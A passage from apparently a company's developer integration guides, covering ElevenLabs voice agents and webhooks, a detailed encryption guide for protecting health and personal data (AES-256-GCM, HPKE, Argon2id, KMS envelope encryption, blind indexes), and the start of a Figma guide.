Architecture: fine-tuned ASR → your chosen LLM (or a custom LLM) → low-latency TTS → proprietary turn-taking model. Build in the dashboard, the visual Workflow builder, the CLI (@elevenlabs/cli, agents-as-code), the SDK, or the hosted MCP.

Build blocks

Block What it is
LLM conversationConfig.agent.prompt.llm — Claude (claude-haiku-4-5, claude-sonnet-4-6, claude-sonnet-5-5, claude-opus-5-5, …), GPT, Gemini, GLM, DeepSeek, Qwen, or customLlm. Billed separately per minute.
Tools Webhook (server) tools (call your HTTPS API), client tools (run in the browser/app), code tools (sandboxed JS on ElevenLabs), MCP tools (attach MCP servers), system tools (end call, language detection, transfer to agent/number, skip turn, keypad DTMF, voicemail detection, update state, flag for review).
Knowledge base Files (PDF, DOCX, TXT, MD, HTML, EPUB; ≤ 20 MB), URLs (with auto-sync), or text. Usage mode auto (RAG when enabled and indexed) or prompt (full text, ≤ ~300k chars). Folders always go through RAG.
Procedures GA 2026-08: task-specific instruction packs with a trigger, loaded on demand instead of bloating the system prompt.
Personalization Dynamic variables + per-conversation overrides; userId for user mapping.
Analysis Evaluation criteria, data collection, triage tickets, topics, tests, A/B experiments, alerting (PagerDuty, Slack, webhooks).

Create an agent with a KB document and a server tool from code: see examples/agent-setup.mts.

Channels

Channel How
Web widget <elevenlabs-convai agent-id="…"> embed, or ElevenLabs UI (shadcn components)
React / RN / iOS / Android / Flutter @elevenlabs/react (ConversationProvider + useConversationControls / useConversationStatus / useConversation), @elevenlabs/react-native, Swift, Kotlin, elevenlabs_agents (pub.dev)
Phone Native Twilio integration, SIP trunking, Vonage, Telnyx, Plivo, Exotel, Bandwidth, Sinch; Genesys / Five9 / Amazon Connect; Microsoft Teams. Batch outbound calls with Twilio answering-machine detection.
WhatsApp Import a WhatsApp Business account (Meta business portfolio + a number not used in the WhatsApp Business app elsewhere). Agent handles text, voice notes (transcribed; replies as voice notes by default), images, documents, location, contacts, interactive buttons/lists, inbound and outbound calls. Outbound starts from a Meta-approved template (conversationalAi.whatsapp.outboundMessage). Meta bills templates/calls separately. 15-min inactivity timeout per message conversation.

Private agents: the browser never sees your API key. Your server mints a conversation token (WebRTC, conversations.getWebrtcToken) or a signed URL (WebSocket, conversations.getSignedUrl) — examples/conversation-token-route.ts + examples/voice-agent-widget.tsx.

// WhatsApp outbound template (TS SDK)
await client.conversationalAi.whatsapp.outboundMessage({
  whatsappPhoneNumberId: "<phone-number-id>",
  whatsappUserId: "2547XXXXXXXX", // recipient, digits only
  templateName: "welcome",
  templateLanguageCode: "en",
  templateParams: [
    { type: "body", parameters: [{ type: "text", parameterName: "name", text: "Wanjiku" }] },
  ],
  agentId: "<agent-id>",
});

Overlap with codeAmani's WhatsApp apps: the six Kenyan WhatsApp + M-Pesa apps use the Meta Cloud API directly. A number can only be connected to one provider, so importing it into ElevenLabs means ElevenLabs owns that number's webhook. Turn off Enable messaging to let ElevenLabs handle only calls while your app handles text.


Webhooks

Configure workspace webhooks in Settings → Webhooks (admins only), then select them per product (agent post-call, STT, flows). Events:

Event When
post_call_transcription Agent conversation ended and analysis is done (transcript, analysis, metadata incl. cost)
post_call_audio Base64 MP3 of the full conversation (no transcript fields)
call_initiation_failure Outbound call failed to connect
answering_machine_detection Twilio AMD verdict (2026-09)
speech_to_text_transcription Async Scribe job finished (one doc sample says speech_to_text.completed — handle both)
voice_removal_notice / voice_removal_notice_withdrawn / voice_removed Shared library voice lifecycle
flows_generation / flows_template_run Image & video / template run done

Signature verification: header ElevenLabs-Signature: t=<unix>,v0=<hex> where v0 = HMAC_SHA256(secret, "${t}.${rawBody}"). The SDK rejects timestamps older than 30 minutes. Always verify the raw body:

const rawBody = await req.text();
const event = await client.webhooks.constructEvent(
  rawBody,
  req.headers.get("elevenlabs-signature") ?? "",
  process.env.ELEVENLABS_WEBHOOK_SECRET ?? "",
); // throws on missing/invalid signature → return 401

Python: client.webhooks.construct_event(rawBody=..., sig_header=..., secret=...) (returns a dict). Full route with dedupe: examples/webhook-route.ts.

Delivery rules: return 2xx fast. Retries are off by default; when enabled, up to 5 attempts (immediate, 30 s, 2 min, 8 min, 30 min, ±10% jitter) on 5xx/429/408/timeouts only — so make handlers idempotent (conversation_id / request_id + event_timestamp). Audio payloads > 50 MiB are not retried. Webhooks auto-disable after ≥ 10 consecutive failures with no success in 7 days. Optionally allowlist ElevenLabs' static egress IPs as a second layer.


Pricing (verified 2026-10-20 — re-check before quoting)

API usage is billed in USD, not credits (ElevenAPI page FAQ). Plans include an allowance; overage is billed at the per-unit rate.

Plan $/month Creative credits v4 TTS chars incl. Agent minutes incl. Agent concurrency
Free 0 10k 10,000 15 4
Starter 6 30k 75,000 75 6
Creator 22 (first month 11) 121k 275,000 275 10
Pro 99 600k 1,238,000 1,238 20
Scale 299 1.8M 3,738,000 3,738 30
Business 990 6M 12,375,000 12,375 40

Per-unit API rates: TTS $0.08 / 1K chars (v4, v3, Multilingual v2) or $0.04 (v4 Turbo, v3 Conversational, Flash); Scribe v2 $0.22/h, realtime $0.39/h; ElevenAgents $0.08/min extra minutes, $0.16/min burst (up to 3× concurrency), $0.003 per text message, LLM billed on top, telephony billed by your carrier; Voice Changer / Isolator / SFX $0.12/min; Music $0.15/min; Dubbing v1 $0.33/min, Dubbing v2 $2.20/min. Commercial use requires a paid plan. Startup grants: 12 months, 33M characters. Detail: reference/pricing-snapshot.md.


Environment Variables

Secrets (store in the vault / Vercel env, never in code):

ELEVENLABS_API_KEY=sk_...
ELEVENLABS_WEBHOOK_SECRET=your-webhook-hmac-secret

Non-secret settings:

Variable Example Purpose
ELEVENLABS_DEFAULT_VOICE_ID JBFqnCBsd6RMkjVDRZzb Default voice ("George")
ELEVENLABS_AGENT_ID agent_… Agent used by the token route
ELEVENLABS_TTS_MODEL eleven_v4 Override default TTS model

Restrict every API key in the dashboard: endpoint scope, a credit quota, and an IP allowlist (non-allowlisted IPs get 403). Use a separate key per app/environment.


Common Use Cases

Use Case Approach
Voice notifications / IVR prompts textToSpeech.convert → cache to R2 → play
Swahili audio content eleven_v4 (quality) after the MOS eval; eleven_v4_turbo for realtime
Transcribe WhatsApp voice notes speechToText.convert with scribe_v2 (auto-detect for Sheng)
Support voice agent on web ElevenAgents + @elevenlabs/react + conversation-token route
Phone agent ElevenAgents + Twilio native or SIP trunk; batch calls for outbound
WhatsApp voice/chat agent Import WABA into ElevenAgents; template-initiated outbound
Brand voice Voice Design (eleven_ttv_v3) or IVC/PVC with consent
Manage agents from Claude Hosted MCP https://api.elevenlabs.io/v1/mcp

Troubleshooting

Issue Fix
401 Unauthorized Key missing/revoked, or key scope lacks that endpoint
too_many_concurrent_requests Plan concurrency hit (e.g. Free 2 Multilingual / 4 Flash). Queue, use the TTS WebSocket (only generation time counts), or upgrade. Watch current-concurrent-requests / maximum-concurrent-requests headers.
Swahili sounds wrong / English accent You are on Multilingual v2 or Flash (no Swahili) — switch to eleven_v4 / eleven_v3
Numbers/phone numbers read oddly on Flash Flash disables normalization by default; normalize in your LLM or use Multilingual v2/v4 (apply_text_normalization: "on" for Flash is Enterprise-only)
Style/speed sliders ignored Eleven v4 only uses Stability + Similarity; SSML unsupported
Webhook signature fails You parsed JSON before verifying — pass the raw text body; check clock skew (30-min window)
WhatsApp agent never replies No agent assigned, Enable messaging off, or required dynamic variables missing
MCP change went live unexpectedly Hosted MCP publishes directly — use a branch or require approval

codeAmani notes

Official docs:

Encryption Integration Guide

Technology: encryption · Category: tooling · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/encryption

Insight:

Encryption is not one primitive but four categories, and the fatal mistake is reaching for the wrong one — hashing data you must read back, or "encrypting" a password you should never recover. Get the category right first (AES-256-GCM for data you decrypt, Argon2id for passwords you never can, HPKE or a libsodium sealed box to encrypt to a public key, envelope encryption with a real KMS for keys at scale), then let an audited library do the math. Two things moved in 2026: Node 24 LTS ships ML-KEM, Argon2 and ChaCha20-Poly1305 in core crypto (OpenSSL 3.5), so post-quantum hybrid HPKE runs today; and "Vercel KMS" is a signing service, not an encryption KMS — envelope encryption still means AWS or GCP KMS reached through Vercel OIDC. For codeAmani the load-bearing case is field-level AES-256-GCM over DoseVault PHI and all customer PII, so the database only ever holds ciphertext, plus masking and blind indexes in every log and lookup.

███████╗███╗   ██╗ ██████╗██████╗ ██╗   ██╗██████╗ ████████╗██╗ ██████╗ ███╗   ██╗
██╔════╝████╗  ██║██╔════╝██╔══██╗╚██╗ ██╔╝██╔══██╗╚══██╔══╝██║██╔═══██╗████╗  ██║
█████╗  ██╔██╗ ██║██║     ██████╔╝ ╚████╔╝ ██████╔╝   ██║   ██║██║   ██║██╔██╗ ██║
██╔══╝  ██║╚██╗██║██║     ██╔══██╗  ╚██╔╝  ██╔═══╝    ██║   ██║██║   ██║██║╚██╗██║
███████╗██║ ╚████║╚██████╗██║  ██║   ██║   ██║        ██║   ██║╚██████╔╝██║ ╚████║
╚══════╝╚═╝  ╚═══╝ ╚═════╝╚═╝  ╚═╝   ╚═╝   ╚═╝        ╚═╝   ╚═╝ ╚═════╝ ╚═╝  ╚═══╝

Encryption Integration Guide

Focus: pick the right primitive for the job and let an audited library do the math. Symmetric (AES-256-GCM) for data you can decrypt, hashing (Argon2id) for passwords you never can, HPKE or sealed boxes for "encrypt to a public key", and envelope encryption with a KMS for keys at scale. For codeAmani the load-bearing case is protecting PHI (DoseVault, HIPAA) and customer PII — field-level encryption, masking and blind indexes on top of these primitives.

Overview

Encryption is not one thing. The most common mistake is reaching for the wrong tool: hashing a value you need to read back later, "encrypting" a password you should never be able to recover, or hand-rolling AES with a static IV. Get the category right first; the implementation is then almost mechanical.

Four categories cover almost everything you'll touch:

  1. Symmetric encryption — one secret key encrypts and decrypts. Fast, used for bulk data. Default: AES-256-GCM (or ChaCha20-Poly1305 / XChaCha20-Poly1305). Reversible.
  2. Asymmetric (public-key) encryption — a public key encrypts, a separate private key decrypts. OWASP now recommends a hybrid public-key encryption scheme — HPKE (RFC 9180) — rather than raw RSA or a hand-built ECDH+AES combination. libsodium sealed boxes remain a fine, simple choice.
  3. Hashing — a one-way function. Not encryption: no key, no way back. Argon2id for passwords, SHA-256 for integrity, HMAC-SHA-256 when a secret key is involved.
  4. E2EE — end-to-end: only the endpoints hold keys; the server relays ciphertext it cannot read. Built from the above.

Layered on where the data lives: in transit (TLS — the platform's job, you just enforce HTTPS) vs at rest (provider disk encryption is on by default; field-level encryption and key management are your job).

Golden rule, straight from OWASP: don't roll your own crypto. Use Node's node:crypto / Web Crypto (built in), libsodium, @noble/*, hpke, jose or Google Tink.

What changed in 2026 (read this if you used an older version of this guide)

Was Now (verified 2026-10-20)
"Web Crypto in Node 20+" Node 20 is EOL (2026-04-30); Vercel deprecated it on 2026-10-01. Target Node 24 LTS "Krypton" (Vercel default; maintenance LTS from 2026-10-20) or 22 "Jod". Node 26 becomes LTS on 2026-10-28.
Argon2 needs the native argon2 addon Node 24.7+ has crypto.argon2() / argon2Sync() built in (and Web Crypto Argon2id under "Modern Algorithms"). It's a raw KDF — keep the argon2 package for PHC-string password storage.
Post-quantum is a "watch" item Node 24.7+ (OpenSSL 3.5) ships ML-KEM-512/768/1024 (crypto.encapsulate / decapsulate), ML-DSA and SLH-DSA keys. hpke@1.1.7 runs MLKEM768-X25519 hybrid HPKE on Node today.
"Encrypt to a public key: X25519 / RSA-OAEP" OWASP Cryptographic Storage now says: use HPKE; X25519 is key agreement, not encryption on its own.
"KMS: AWS, GCP, Cloudflare, Vercel" Vercel KMS (Beta) only signs JWTs/messages (RS/PS/ES keys); it has no encrypt/decrypt. Envelope encryption = AWS KMS or GCP Cloud KMS, authenticated from Vercel with OIDC federation.
Supabase pgsodium for column encryption Supabase marks pgsodium pending deprecation and recommends against its Transparent Column Encryption; use Supabase Vault for DB-side secrets and app-layer encryption for PHI.
@noble/ciphers 2.3 2.4.0 (ESM-only, .js subpath imports).

Official Documentation

Source URL What it covers
Node.js 24 crypto https://nodejs.org/docs/latest-v24.x/api/crypto.html createCipheriv GCM/ChaCha20-Poly1305, argon2, encapsulate/decapsulate, ML-KEM/ML-DSA keys, hkdf, timingSafeEqual
Node.js 24 Web Crypto https://nodejs.org/docs/latest-v24.x/api/webcrypto.html crypto.subtle; "Modern Algorithms" (ML-KEM, ML-DSA, Argon2, ChaCha20-Poly1305, AES-OCB) — Stability 1.1
MDN — SubtleCrypto.encrypt https://developer.mozilla.org/en-US/docs/Web/API/SubtleCrypto/encrypt AES-GCM in browsers/Edge, IV rules
OWASP Cryptographic Storage https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html Algorithms, modes, HPKE, envelope encryption, key separation
OWASP Password Storage https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html Argon2id / scrypt / bcrypt / PBKDF2 parameters, peppering
OWASP Post-Quantum Cryptography https://cheatsheetseries.owasp.org/cheatsheets/Post_Quantum_Cryptography_Cheat_Sheet.html ML-KEM, hybrid TLS (X25519MLKEM768), ML-DSA migration
NIST FIPS 203 / 204 / 205 https://csrc.nist.gov/pubs/fips/203/final ML-KEM, ML-DSA, SLH-DSA (final, Aug 2024)
libsodium sealed boxes https://doc.libsodium.org/public-key_cryptography/sealed_boxes Anonymous public-key encryption
hpke (panva) https://github.com/panva/hpke RFC 9180 HPKE incl. ML-KEM and hybrid KEMs
AWS KMS https://docs.aws.amazon.com/kms/latest/developerguide/overview.html GenerateDataKey, Decrypt, encryption context
Google Cloud KMS envelope encryption https://cloud.google.com/kms/docs/envelope-encryption DEK/KEK model, encrypt/decrypt
Vercel KMS https://vercel.com/docs/kms Managed signing keys (Beta)

The taxonomy at a glance

Category Reversible? Key model Reach for codeAmani example
Symmetric Yes one shared key AES-256-GCM Encrypt a PHI column at rest
Public-key Yes public + private HPKE (RFC 9180), libsodium sealed box Encrypt to a clinician's device key
Hashing No none (HMAC: secret key) Argon2id (passwords), SHA-256 (integrity), HMAC-SHA-256 (blind index, webhooks) Store a PIN; look up a patient by phone
E2EE Yes (endpoints only) per-party keys HPKE / sealed box / libsignal Patient-to-clinician message

Encryption vs hashing — never blur them: encryption is reversible with the key; hashing is one-way with no key. Passwords get hashed; values you must display later get encrypted. "Decrypt the password to email it to the user" is a design bug.


Runtime matrix (what runs where)

Primitive Node 22 LTS Node 24 LTS (Vercel default) Edge / Workers / browser
AES-256-GCM node:crypto + crypto.subtle same crypto.subtle
ChaCha20-Poly1305 node:crypto node:crypto + crypto.subtle (Modern Algos) @noble/ciphers
Argon2id npm argon2 (native addon) npm argon2, or built-in crypto.argon2() (v24.7+) not for password storage — hash on a Node function
ML-KEM / ML-DSA / SLH-DSA no node:crypto (v24.7+, OpenSSL 3.5) @noble/post-quantum
HPKE hpke (classic KEMs) hpke incl. KEM_MLKEM768_X25519 hpke (classic KEMs; Workers: no ML-KEM per its matrix)
Sealed box libsodium-wrappers same same (WASM)

Check the OpenSSL your function actually runs with process.versions.openssl (Node 24.22.0 bundles 3.5.8).


Symmetric: AES-256-GCM

AES-256-GCM is OWASP's preferred default (GCM/CCM first preference). It is authenticated — tampering, a wrong key, or wrong AAD makes decryption throw.

Non-negotiable rules:

Node runtime (examples/aead.ts, wire format v1.iv.tag.ct, base64url):

import { createCipheriv, randomBytes } from "node:crypto";

export function encrypt(plaintext: string, key: Buffer, aad?: Buffer): string {
  const iv = randomBytes(12);
  const cipher = createCipheriv("aes-256-gcm", key, iv, { authTagLength: 16 });
  if (aad) cipher.setAAD(aad);
  const ct = Buffer.concat([cipher.update(plaintext, "utf8"), cipher.final()]);
  const tag = cipher.getAuthTag(); // only valid AFTER final()
  return ["v1", iv.toString("base64url"), tag.toString("base64url"), ct.toString("base64url")].join(".");
}

Edge / Workers / browser — Web Crypto (examples/webcrypto-aes-gcm.ts):

// lib/crypto/aes-gcm.ts — AES-256-GCM via Web Crypto (Node 22+/24 LTS, Edge, Workers, browser).
const IV_BYTES = 12; // GCM standard; MUST be unique per message under one key

const b64 = (u: Uint8Array): string => btoa(String.fromCharCode(...u));
const unb64 = (s: string): Uint8Array<ArrayBuffer> => Uint8Array.from(atob(s), (c) => c.charCodeAt(0));

/** Import a 32-byte (256-bit) raw key as a non-extractable AES-GCM CryptoKey. */
export async function importKey(raw: Uint8Array<ArrayBuffer>): Promise<CryptoKey> {
  if (raw.byteLength !== 32) throw new Error("AES-256 key must be 32 bytes");
  return crypto.subtle.importKey("raw", raw, { name: "AES-GCM" }, false, ["encrypt", "decrypt"]);
}

/** Encrypt UTF-8 text → { iv, ciphertext } (base64). The 16-byte GCM tag is appended to ciphertext. */
export async function encrypt(plaintext: string, key: CryptoKey, aad?: Uint8Array<ArrayBuffer>) {
  const iv = crypto.getRandomValues(new Uint8Array(IV_BYTES)); // fresh every call
  const params: AesGcmParams = aad ? { name: "AES-GCM", iv, additionalData: aad } : { name: "AES-GCM", iv };
  const ct = await crypto.subtle.encrypt(params, key, new TextEncoder().encode(plaintext));
  return { iv: b64(iv), ciphertext: b64(new Uint8Array(ct)) };
}

/** Decrypt; rejects (OperationError) if the tag fails — tampered data, wrong key or wrong AAD. */
export async function decrypt(
  payload: { iv: string; ciphertext: string },
  key: CryptoKey,
  aad?: Uint8Array<ArrayBuffer>,
): Promise<string> {
  const iv = unb64(payload.iv);
  const params: AesGcmParams = aad ? { name: "AES-GCM", iv, additionalData: aad } : { name: "AES-GCM", iv };
  const pt = await crypto.subtle.decrypt(params, key, unb64(payload.ciphertext));
  return new TextDecoder().decode(pt);
}

AAD binds context. Pass table:rowId as AAD so a ciphertext copied to another row fails to decrypt. Cheap, strong defence against ciphertext swapping.

TypeScript ≥ 5.7 note: Web Crypto's BufferSource now wants Uint8Array<ArrayBuffer>; a bare Uint8Array (which may be backed by SharedArrayBuffer) is a type error under --strict. The snippet above is typed accordingly (checked with TS 5.9.3 and 7.0.2).


HPKE (RFC 9180) combines a KEM, a KDF and an AEAD into one vetted construction — OWASP's current recommendation. The zero-dependency hpke package (by panva, the jose author) runs on Node, Deno, Bun, Workers and browsers, and on Node 24 supports the post-quantum hybrid KEM_MLKEM768_X25519. Base mode doesn't authenticate the sender; use an auth/PSK mode if you need that.

// examples/hpke-pq.mts — hpke@1.1.7, Node 24 LTS (verified running on Node 24.15.0)
import * as HPKE from "hpke";

const suite = new HPKE.CipherSuite(HPKE.KEM_MLKEM768_X25519, HPKE.KDF_HKDF_SHA256, HPKE.AEAD_AES_256_GCM);

const recipient = await suite.GenerateKeyPair();
const publicKeyBytes = await suite.SerializePublicKey(recipient.publicKey); // publish these

const info = new TextEncoder().encode("codeamani/dosevault/message/v1");
const pub = await suite.DeserializePublicKey(publicKeyBytes);
const { encapsulatedSecret, ciphertext } = await suite.Seal(pub, new TextEncoder().encode("BP 120/80"), { info });

const plaintext = await suite.Open(recipient, encapsulatedSecret, ciphertext, { info });

The full example falls back to KEM_DHKEM_X25519_HKDF_SHA256 where ML-KEM isn't available (browsers, Workers). Store encapsulatedSecret (1,120 bytes for the hybrid KEM) next to the ciphertext.

libsodium sealed boxes (X25519 + XSalsa20-Poly1305) are still a simple, safe "encrypt to a public key" — anonymous sender, classical only:

// lib/crypto/sealed-box.ts — anonymous public-key encryption with libsodium (libsodium-wrappers 0.8.4)
import sodium from "libsodium-wrappers";

/** Recipient generates a keypair once; publishes publicKey, keeps privateKey secret. */
export async function newKeypair() {
  await sodium.ready;
  const { publicKey, privateKey } = sodium.crypto_box_keypair();
  return { publicKey, privateKey }; // Uint8Array, 32 bytes each (X25519)
}

/** Anyone with the recipient's public key can seal a message to them. */
export async function seal(message: string, recipientPublicKey: Uint8Array): Promise<Uint8Array> {
  await sodium.ready;
  // ephemeral keypair is generated + erased internally; sender stays anonymous
  return sodium.crypto_box_seal(sodium.from_string(message), recipientPublicKey);
}

/** Only the recipient (holding both keys) can open it; throws on tampering. */
export async function open(
  sealed: Uint8Array,
  recipientPublicKey: Uint8Array,
  recipientPrivateKey: Uint8Array,
): Promise<string> {
  await sodium.ready;
  const opened = sodium.crypto_box_seal_open(sealed, recipientPublicKey, recipientPrivateKey);
  return sodium.to_string(opened);
}

Always await sodium.ready before any sodium.* call (WASM loads async). libsodium-wrappers 0.8.x ships its own types — don't install @types/libsodium-wrappers (now a deprecated stub).

RSA only for interop: RSA-OAEP, ≥ 2048-bit keys; never PKCS#1 v1.5 encryption.


Post-quantum: what to do now

Raw ML-KEM in Node 24.7+ (examples/ml-kem-node.mts) — it only agrees a 32-byte secret; derive an AES key with HKDF:

import { decapsulate, encapsulate, generateKeyPairSync, hkdfSync } from "node:crypto";

const { publicKey, privateKey } = generateKeyPairSync("ml-kem-768");
const { sharedKey, ciphertext } = encapsulate(publicKey);            // sender
const recovered = decapsulate(privateKey, ciphertext);                // recipient
const aesKey = Buffer.from(hkdfSync("sha256", recovered, Buffer.alloc(0), "app/v1/aes-256-gcm", 32));

Hashing: passwords and integrity (not encryption)

// lib/crypto/password.ts — server-side ONLY (argon2@0.45.1, native N-API addon)
import * as argon2 from "argon2";

const ARGON2_OPTIONS = { type: argon2.argon2id, memoryCost: 19456, timeCost: 2, parallelism: 1 } as const;

export const hashPassword = (plain: string) => argon2.hash(plain, ARGON2_OPTIONS); // PHC string, 16-byte random salt
export const verifyPassword = (hash: string, plain: string) => argon2.verify(hash, plain); // false on mismatch, throws on bad hash
export const needsRehash = (hash: string) => argon2.needsRehash(hash, ARGON2_OPTIONS); // pass the SAME options

Node 24.7+ built-in crypto.argon2() returns raw key bytes (no PHC string, no needsRehash). Use it to derive a key from a passphrase (examples/node-argon2-kdf.mts); keep the argon2 package for password storage. argon2@1.0.0-alpha.1 sits on the next tag — don't adopt until it's latest.

With Clerk as the auth provider we don't store passwords at all. Hash yourself only for systems Clerk doesn't cover.


In transit vs at rest

In transit At rest (disk) At rest (field-level)
Threat Eavesdropper / MITM Stolen disk / backup Leaked dump, SQL injection, over-broad RLS, curious operator
Mechanism TLS 1.2+/1.3 Provider AES-256 App-layer AES-256-GCM + envelope keys
Who Platform (Vercel, Cloudflare, Neon/Supabase enforce TLS) Provider, on by default You

Envelope encryption & KMS

You don't encrypt millions of rows with one key in an env var. Envelope encryption (OWASP):

flowchart LR
    PT["Plaintext PHI"] -->|"AES-256-GCM"| CT["Ciphertext"]
    DEK["Data key (DEK)"] -->|encrypts| CT
    KMS["AWS / GCP KMS holds KEK"] -->|"wraps DEK"| WDEK["Wrapped DEK"]
    CT --> DB[("Database row")]
    WDEK --> DB
    OIDC["Vercel OIDC token"] -.->|"federated, no static keys"| KMS

Which KMS

KMS Envelope encryption? Pricing (verified 2026-10-20) Notes
AWS KMS Yes — GenerateDataKey + Decrypt $1/key/month (rotations add $1 for the first two, then capped); symmetric requests $0.03 per 10,000; free tier 20,000 requests/month (asymmetric excluded) EncryptionContext = AAD, logged in CloudTrail. ML-DSA signing keys GA.
GCP Cloud KMS Yes — generate DEK locally, wrap with encrypt Software key version $0.06/month, HSM $1.00/month; crypto ops $0.03 per 10,000 (some HSM ops $0.15) additionalAuthenticatedData = AAD. ML-KEM-768/1024 supported.
Vercel KMS (Beta) No — signing only (RS*/PS*/ES*, default RS512; no HS*) Beta, all plans; no price published @vercel/kms signJWT / signMessage; JWKS at https://kms.vercel.com/<issuerId>/jwks.json. FIPS 140-3 L1 OpenSSL provider. Use it to sign tokens without a private key in env — not to encrypt data.

AWS KMS from a Vercel Function (OIDC, no long-lived AWS keys)

Non-secret configuration (put these in Vercel project settings as plain env, not secrets):

Setting Example Secret?
AWS_REGION us-east-1 No
AWS_ROLE_ARN arn:aws:iam::<account>:role/<app>-kms No
KMS_KEY_ID alias/dosevault-phi No
// examples/envelope-aws-kms.ts (excerpt) — @aws-sdk/client-kms 3.1153.0 + @vercel/oidc-aws-credentials-provider 3.3.13
import { DecryptCommand, GenerateDataKeyCommand, KMSClient } from "@aws-sdk/client-kms";
import { awsCredentialsProvider } from "@vercel/oidc-aws-credentials-provider";
import { encrypt } from "./aead.js";

const kms = new KMSClient({
  region: process.env.AWS_REGION,
  credentials: awsCredentialsProvider({ roleArn: process.env.AWS_ROLE_ARN ?? "" }),
});

export async function sealField(plaintext: string, ctx: { table: string; rowId: string }) {
  const { Plaintext, CiphertextBlob } = await kms.send(
    new GenerateDataKeyCommand({ KeyId: process.env.KMS_KEY_ID, KeySpec: "AES_256", EncryptionContext: ctx }),
  );
  if (!Plaintext || !CiphertextBlob) throw new Error("KMS returned no data key");
  const dek = Buffer.from(Plaintext);
  try {
    return {
      wrappedDek: Buffer.from(CiphertextBlob).toString("base64"),
      payload: encrypt(plaintext, dek, Buffer.from(`${ctx.table}:${ctx.rowId}`)),
    };
  } finally {
    dek.fill(0); // drop the plaintext DEK
  }
}
// openField(): DecryptCommand({ KeyId, CiphertextBlob, EncryptionContext: ctx }) → decrypt(payload, dek, aad)

GCP equivalent: examples/envelope-gcp-kms.ts (KeyManagementServiceClient.encrypt/decrypt with additionalAuthenticatedData). For very high volume, cache DEKs briefly or use the AWS Encryption SDK (@aws-crypto/client-node 5.0.2) with its caching materials manager — KMS calls cost money and add latency.

Rotation triggers (OWASP): suspected compromise, end of cryptoperiod, or usage limits (e.g. AES-GCM random-IV message count). Turn on automatic KEK rotation in AWS/GCP.


PII / PHI: field-level encryption, masking, blind indexes, tokenization

DoseVault handles PHI under HIPAA; every codeAmani product handles customer PII (US-first; KDPA 2019 also applies to Kenya-targeted projects). Disk encryption alone isn't enough.

1. Field-level (application-layer) encryption

Encrypt sensitive columns before they reach Postgres; decrypt in the app. The DB only ever sees ciphertext.

// Storing a PHI field — envelope-encrypt at the app boundary, store only ciphertext columns.
import { sealField } from "./envelope-aws-kms.js";
import { blindIndex } from "./mask.js";

interface RecordsTable {
  insert(row: {
    id: string;
    patient_phone_bidx: string; // blind index for lookups — never the phone itself
    diagnosis_dek: string;      // wrapped DEK (KMS CiphertextBlob, base64)
    diagnosis_ct: string;       // "v1.iv.tag.ct"
  }): Promise<void>;
}

export async function storeDiagnosis(
  db: RecordsTable,
  rec: { id: string; phone: string; diagnosis: string },
  bidxKey: Buffer,
): Promise<void> {
  const { wrappedDek, payload } = await sealField(rec.diagnosis, { table: "records", rowId: rec.id });
  await db.insert({
    id: rec.id,
    patient_phone_bidx: blindIndex(rec.phone, bidxKey),
    diagnosis_dek: wrappedDek,
    diagnosis_ct: payload,
  });
}

2. Blind indexes (search without plaintext)

Encrypted columns can't be WHEREd. Store a keyed HMAC-SHA-256 of the normalised value next to it and query on that. Use a separate HMAC key from the encryption key. Leaks equality (same input → same index), so only index what you must look up.

3. Masking (display / logs)

// Mask an M-Pesa phone (always 254XXXXXXXXX) and an ID for UI / logs
export const maskPhone = (p: string): string => p.replace(/^(\d{3})\d{6}(\d{3})$/, "$1******$2"); // 254******149
export const maskId = (id: string): string => (id.length <= 4 ? "****" : "****" + id.slice(-4));

// Blind index: deterministic, keyed lookup token for an encrypted column (e.g. find a
// patient by phone without storing the phone in plaintext). HMAC key ≠ encryption key.
import { createHmac } from "node:crypto";
export const blindIndex = (value: string, hmacKey: Buffer): string =>
  createHmac("sha256", hmacKey).update(value.normalize("NFKC").toLowerCase()).digest("base64url");

Never log raw PII/PHI. Mask emails, phone numbers, patient ids — and, on Kenya-targeted projects, M-Pesa phones and CheckoutRequestIDs — before they reach Sentry or logs. Structured logging only.

4. Tokenization

Replace a sensitive value with a meaningless token; keep the real value in one locked-down vault. For card data, Stripe already tokenizes — never store PANs; that keeps us out of most PCI DSS scope.

flowchart LR
    U["Patient submits PHI"] -->|TLS in transit| API["API route (Node runtime)"]
    API -->|"AES-256-GCM + KMS-wrapped DEK"| ENC["Encrypt PHI columns"]
    ENC --> DB[("DB: ciphertext + blind index")]
    API -->|"mask for logs"| LOG["Sentry / logs see masked only"]
    DB -->|"decrypt in app on read"| VIEW["Authorised clinician view"]

Tokens and cookies: jose

For an encrypted, tamper-proof token or cookie, don't invent a format — use JWE via jose@6.2.13 (dir + A256GCM). For signed tokens issued from Vercel without holding a private key, Vercel KMS signJWT is the managed option.

import { CompactEncrypt, compactDecrypt } from "jose";

const key = crypto.getRandomValues(new Uint8Array(32)); // in prod: 32 bytes from env/KMS
const jwe = await new CompactEncrypt(new TextEncoder().encode(JSON.stringify({ sub: "user_123" })))
  .setProtectedHeader({ alg: "dir", enc: "A256GCM" })
  .encrypt(key);
const { plaintext } = await compactDecrypt(jwe, key);

Secrets

Only real secrets go in the vault. Generate each with a CSPRNG (openssl rand -base64 32) per environment, store in Vercel env (Sensitive) / the codeAmani secrets vault, never in the repo:

ENCRYPTION_KEY_B64=base64-32-random-bytes-placeholder
BLIND_INDEX_KEY_B64=base64-32-random-bytes-placeholder

With envelope encryption in production, ENCRYPTION_KEY_B64 is only a dev/local fallback; the KEK lives in KMS and needs no env secret (OIDC federation).


E2EE in one paragraph

End-to-end encryption means the server only ever holds ciphertext. For one-shot messages, HPKE (or a sealed box) is genuine E2EE: encrypt client-side to the recipient's public key, store opaque bytes, only the recipient's private key opens it. For live conversations, Signal's double ratchet adds forward secrecy and post-compromise security — don't implement it yourself; use libsignal or a vetted SDK. Key distribution and device verification are the hard part, not the cipher.


Security checklist


codeAmani notes

Official docs:

Figma Integration Guide

Technology: figma · Category: design · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/figma

Insight:

The Figma MCP bridges design and code both ways: pull a frame into accurate component code with get_design_context, or write native frames, components and variables back with use_figma. Budget for it. Read calls are capped per seat (200/day on a Professional Dev or Full seat, 20/month on View or Collab), and canvas writes are free only while the beta lasts.

███████╗██╗ ██████╗ ███╗   ███╗ █████╗
██╔════╝██║██╔════╝ ████╗ ████║██╔══██╗
█████╗  ██║██║  ███╗██╔████╔██║███████║
